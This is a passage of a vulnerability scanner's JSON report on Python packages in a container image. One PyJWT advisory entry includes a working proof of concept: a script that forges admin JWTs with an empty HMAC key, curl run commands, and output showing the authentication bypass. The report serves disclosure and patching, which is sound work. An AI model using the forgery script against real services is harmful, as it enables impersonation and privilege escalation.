"V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94500", "https://access.redhat.com/security/cve/CVE-2026-102271", "https://advisory.echohq.com/cve/CVE-2026-102271", "https://bugzilla.redhat.com/2542671", "https://bugzilla.redhat.com/2542685", "https://bugzilla.redhat.com/2542687", "https://bugzilla.redhat.com/2542690", "https://bugzilla.redhat.com/2542695", "https://bugzilla.redhat.com/show_bug.cgi?id=2542671", "https://bugzilla.redhat.com/show_bug.cgi?id=2542685", "https://bugzilla.redhat.com/show_bug.cgi?id=2542687", "https://bugzilla.redhat.com/show_bug.cgi?id=2542690", "https://bugzilla.redhat.com/show_bug.cgi?id=2542695", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102271", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-102272", "https://errata.almalinux.org/9/ALSA-2026-94500.html", "https://errata.rockylinux.org/RLSA-2026:94500", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773", "https://linux.oracle.com/cve/CVE-2026-102271.html", "https://linux.oracle.com/errata/ELSA-2026-94501.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-102271", "https://ubuntu.com/security/notices/USN-8916-1", "https://ubuntu.com/security/notices/USN-8916-2", "https://www.cve.org/CVERecord?id=CVE-2026-102271" ], "PublishedDate": "2026-09-28T21:17:15.11Z", "LastModifiedDate": "2026-10-06T18:36:16.047Z" }, { "VulnerabilityID": "CVE-2026-48526", "VendorIDs": [ "GHSA-xgmm-8j9v-c9wx" ], "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "3bfce45ee51f1a4f" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.13.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48526", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7fe0d9583b7a7fc385ad65c8adc9930c09fb4704e2aa3435769f617e8dd25e81", "Title": "python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens", "Description": "PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.", "Severity": "HIGH", "CweIDs": [ "CWE-287", "CWE-347" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25902", "https://access.redhat.com/errata/RHSA-2026:25928", "https://access.redhat.com/errata/RHSA-2026:26206", "https://access.redhat.com/errata/RHSA-2026:28571", "https://access.redhat.com/errata/RHSA-2026:30076", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:33683", "https://access.redhat.com/errata/RHSA-2026:34160", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:34374", "https://access.redhat.com/errata/RHSA-2026:35835", "https://access.redhat.com/errata/RHSA-2026:35836", "https://access.redhat.com/errata/RHSA-2026:35837", "https://access.redhat.com/errata/RHSA-2026:35845", "https://access.redhat.com/errata/RHSA-2026:36350", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:40967", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42144", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:48085", "https://access.redhat.com/errata/RHSA-2026:50222", "https://access.redhat.com/errata/RHSA-2026:50223", "https://access.redhat.com/errata/RHSA-2026:50263", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50340", "https://access.redhat.com/errata/RHSA-2026:50904", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/security/cve/CVE-2026-48526", "https://advisory.echohq.com/cve/CVE-2026-48526", "https://bugzilla.redhat.com/2482734", "https://bugzilla.redhat.com/show_bug.cgi?id=2482734", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48526", "https://errata.almalinux.org/9/ALSA-2026-26206.html", "https://errata.rockylinux.org/RLSA-2026:26206", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx", "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml", "https://linux.oracle.com/cve/CVE-2026-48526.html", "https://linux.oracle.com/errata/ELSA-2026-26206.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-48526", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48526.json", "https://ubuntu.com/security/notices/USN-8823-1", "https://www.cve.org/CVERecord?id=CVE-2026-48526" ], "PublishedDate": "2026-05-28T16:16:29.657Z", "LastModifiedDate": "2026-10-26T13:10:00.14Z" }, { "VulnerabilityID": "GHSA-pxh4-856f-4h89", "PkgName": "PyJWT", "PkgPath": "usr/local/lib/python3.11/site-packages/pyjwt-2.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyjwt@2.12.1", "UID": "3bfce45ee51f1a4f" }, "InstalledVersion": "2.12.1", "FixedVersion": "2.14.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-pxh4-856f-4h89", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:449d10acddd134216a22bf113b9faea542d6f8583443df249bd6108d4a433627", "Title": "PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery", "Description": "### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `\u003c= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -\u003e bytes:\n try:\n if isinstance(jwk, str):\n obj: JWKDict = json.loads(jwk)\n elif isinstance(jwk, dict):\n obj = jwk\n else:\n raise ValueError\n except ValueError:\n raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n if obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\n return base64url_decode(obj[\"k\"]) # \u003c-- empty k -\u003e b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -\u003e bytes:\n key_bytes = force_bytes(key)\n\n if len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n if isinstance(key, PyJWK):\n if alg != key.algorithm_name:\n raise InvalidAlgorithmError(\n f\"Token algorithm {alg!r} does not match the key's \"\n f\"algorithm {key.algorithm_name!r}\"\n )\n alg_obj = key.Algorithm\n prepared_key = key.key # from_jwk output (b\"\"), prepare_key not run\n else:\n try:\n alg_obj = self.get_algorithm_by_name(alg)\n except NotImplementedError as e:\n raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n prepared_key = alg_obj.prepare_key(key)\n\n key_length_msg = alg_obj.check_key_length(prepared_key)\n if key_length_msg:\n if effective_options.get(\"enforce_minimum_key_length\", False):\n raise InvalidKeyError(key_length_msg)\n else:\n warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only\n\n if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b\"\" succeeds\n raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -\u003e `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -\u003e `jwt.decode` with the resolved\n`PyJWK` -\u003e `_verify_signature` -\u003e `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -\u003e `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\") # UNSET at runtime -\u003e \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n return jsonify({\"keys\": [{\n \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n \"kid\": \"auth-signing-2026\",\n \"k\": b64u(SIGNING_SECRET.encode()), # empty secret -\u003e k == \"\"\n }]})\n\nif __name__ == \"__main__\":\n app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n auth = request.headers.get(\"Authorization\", \"\")\n if not auth.startswith(\"Bearer \"):\n return None, \"missing bearer token\"\n token = auth.split(\" \", 1)[1]\n try:\n signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid\n claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n except Exception as e:\n return None, \"invalid token: %s\" % type(e).__name__\n return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n claims, err = authenticate()\n if err:\n return jsonify({\"error\": err}), 401\n if claims.get(\"role\") != \"admin\":\n return jsonify({\"error\": \"forbidden\"}), 403\n return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)\u003e1 else b\"\" # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v \u0026\u0026 ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py \u0026 ) ; ./v/bin/python api.py \u0026\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n \u003c-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -\u003e reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n \u003c-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n \u003c-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n \u003c-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -\u003e now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n \u003c-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n yielding full impersonation and privilege escalation on any endpoint gated by\n such tokens.\n- Reachable through the documented JWKS verification API\n (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n string-secret path already rejects in 2.13.0, leaving the JWK path as an\n asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n\u003e Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-pxh4-856f-4h89", "https://github.com/jpadilla/pyjwt", "https://github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb", "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89" ], "PublishedDate": "2026-10-22T15:48:04Z", "LastModifiedDate": "2026-10-22T15:48:04Z" }, { "VulnerabilityID": "CVE-2026-63374", "VendorIDs": [ "GHSA-82r6-8w77-94w6" ], "PkgName": "anyio", "PkgPath": "usr/local/lib/python3.11/site-packages/anyio-4.13.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/anyio@4.13.0", "UID": "870f66e75cd3e76f" }, "InstalledVersion": "4.13.0", "FixedVersion": "4.14.2", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63374", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:40fe4747512a65513e9a973df3cb7c5591ae6ebf216c4771a588fe9d3fe5976d", "Title": "anyio: AnyIO: TLS certificate spoofing via improper internationalized domain name encoding", "Description": "AnyIO is a high level asynchronous concurrency and networking framework that works on top of either Trio or asyncio. Prior to 4.14.2, connect_tcp() and TLSStream.wrap() can validate internationalized host names after the standard library converts them with IDNA 2003 instead of IDNA 2008. When a connection to a non-ASCII domain is hijacked or redirected, an attacker can obtain a legitimate certificate for the different ASCII hostname produced by IDNA 2003 and present it to the client, causing the malicious endpoint's certificate to validate. This issue is fixed in version 4.14.2.", "Severity": "CRITICAL", "CweIDs": [ "CWE-295", "CWE-297" ], "VendorSeverity": { "ghsa": 4, "redhat": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63374", "https://advisory.echohq.com/cve/CVE-2026-63374", "https://github.com/advisories/GHSA-82r6-8w77-94w6", "https://github.com/agronholm/anyio", "https://github.com/agronholm/anyio/commit/68f58915f82d9be8109ebbbd8f5d70577d43f2ce", "https://github.com/agronholm/anyio/pull/1208", "https://github.com/agronholm/anyio/releases/tag/4.14.2", "https://github.com/agronholm/anyio/security/advisories/GHSA-82r6-8w77-94w6", "https://nvd.nist.gov/vuln/detail/CVE-2026-63374", "https://www.cve.org/CVERecord?id=CVE-2026-63374" ], "PublishedDate": "2026-09-22T16:17:50.68Z", "LastModifiedDate": "2026-09-28T17:17:50.357Z" }, { "VulnerabilityID": "GHSA-6q48-6c7w-9gw2", "PkgName": "certifi", "PkgPath": "usr/local/lib/python3.11/site-packages/certifi-2026.4.22.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/certifi@2026.4.22", "UID": "8f3c3b5323596e15" }, "InstalledVersion": "2026.4.22", "FixedVersion": "2026.10.18", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a3a0d3438f7243644f53ded5ba6a246a08c78f99710072f164d1ce742d2949db", "Title": "certifi bundles emSign root CAs with compromised intermediate CA keys", "Description": "Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. \n\nAn attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer.\n\nCertifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi.", "Severity": "CRITICAL", "VendorSeverity": { "ghsa": 4 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-6q48-6c7w-9gw2", "https://discuss.python.org/t/information-for-python-users-regarding-emudhra-emsign-ca-certificate-security-incident/109576", "https://emudhra.we-have-a-problem.com", "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "https://github.com/certifi/python-certifi", "https://github.com/certifi/python-certifi/security/advisories/GHSA-6q48-6c7w-9gw2" ], "PublishedDate": "2026-10-20T19:35:05Z", "LastModifiedDate": "2026-10-26T16:02:12Z" }, { "VulnerabilityID": "CVE-2026-69247", "VendorIDs": [ "GHSA-g6cj-pr64-35w5" ], "PkgName": "cryptography", "PkgPath": "usr/local/lib/python3.11/site-packages/cryptography-47.0.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cryptography@47.0.0", "UID": "6dae9d3d1dec87c4" }, "InstalledVersion": "47.0.0", "FixedVersion": "50.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-69247", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:871a1fcb86d280c0291837d4ce6d7875ed66e2e6109b72738a7fc81382616234", "Title": "python-cryptography: python-cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing", "Description": "cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. From 44.0.0 until 50.0.0, pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Decryption ran as RSA PKCS#1 v1.5 decrypt of encryptedKey, build an AES cipher from the result, then AES-CBC decrypt and PKCS#7 unpad. Invalid RSA padding, a valid padding with a bad key length, a correct length with a wrong key, and the real key each failed or succeeded differently. Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. This issue is fixed in 50.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-208", "CWE-209" ], "VendorSeverity": { "ghsa": 3, "photon": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-69247", "https://advisory.echohq.com/cve/CVE-2026-69247", "https://github.com/pyca/cryptography", "https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f", "https://github.com/pyca/cryptography/pull/15369", "https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5", "https://nvd.nist.gov/vuln/detail/CVE-2026-69247", "https://ubuntu.com/security/notices/USN-8776-1", "https://www.cve.org/CVERecord?id=CVE-2026-69247" ], "PublishedDate": "2026-08-03T22:16:52.38Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-69249", "VendorIDs": [ "GHSA-jwv3-5hgf-82ww" ], "PkgName": "cryptography", "PkgPath": "usr/local/lib/python3.11/site-packages/cryptography-47.0.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cryptography@47.0.0", "UID": "6dae9d3d1dec87c4" }, "InstalledVersion": "47.0.0", "FixedVersion": "49.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": 